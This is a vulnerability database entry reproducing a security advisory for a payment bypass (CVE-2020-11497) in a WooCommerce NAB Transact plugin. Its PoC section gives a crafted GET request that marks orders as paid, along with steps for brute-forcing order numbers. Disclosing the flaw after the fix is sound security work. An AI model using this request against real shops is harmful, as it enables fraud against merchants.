|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------| | 漏洞ID | 13369 | 漏洞类型 | | | 发布时间 | 2020-08-22 | 更新时间 | 2020-08-22 | | CVE编号 | CVE-2020-11497 | CNNVD-ID | N/A | | 漏洞平台 | N/A | CVSS评分 | N/A |

**|**漏洞详情

漏洞细节尚未披露

**|**漏洞EXP

Title: Payment bypass

 

Product: WordPress NAB Transact WooCommerce Plugin

 

Vendor Homepage: https://woocommerce.com/products/nab-transact-direct-post/

 

Vulnerable Version: 2.1.0

 

Fixed Version: 2.1.2

 

CVE Number: CVE-2020-11497

 

Author: Jack Misiura from The Missing Link 

 

Website: https://www.themissinglink.com.au

 

Timeline:

 

2020-03-27 Disclosed to Vendor

2020-03-29 Vendor publishes first fix

2020-04-04 Vendor publishes second fix

2020-08-17 Fix confirmed

2020-08-20 Publication

 

1. Vulnerability Description

 

The WordPress NAB Transact WooCommerce plugin does not validate the origin of payment processor status requests, allowing orders to be marked as fully paid by issuing a specially crafted GET request during the ordering workflow.

 

2. PoC

 

When presented with a payment screen, instead of submitting payment information, issue the following GET request to the site:

 

https://example-site.com/?wc-api=WC_Gateway_Nab_Direct_Post&order=XXXX&key= wc_order_YYYYY&is_crn=0&txnid=ZZZZZ&refid=WooCommerceXXXX&rescode=00&restext=Approved

 

Where XXXX is the order number and YYYY is the order code which have been present before during the workflow. If these are not presented, submit invalid payment information and get a declined message. Now brute-force the order number which is sequential. Doing so will mark any existing pending orders as fully paid.

 

3. Solution

 

The vendor provides an updated version (2.1.2) which should be installed immediately.

 

4. Advisory URL

 

https://www.themissinglink.com.au/security-advisories

 






Jack Misiura​


Application Security Consultant




a



9‑11 Dickson Avenue


Artarmon


NSW


2064



p


1300 865 865



os


+61 2 8436 8585



w


 <https://www.themissinglink.com.au/> themissinglink.com.au








 



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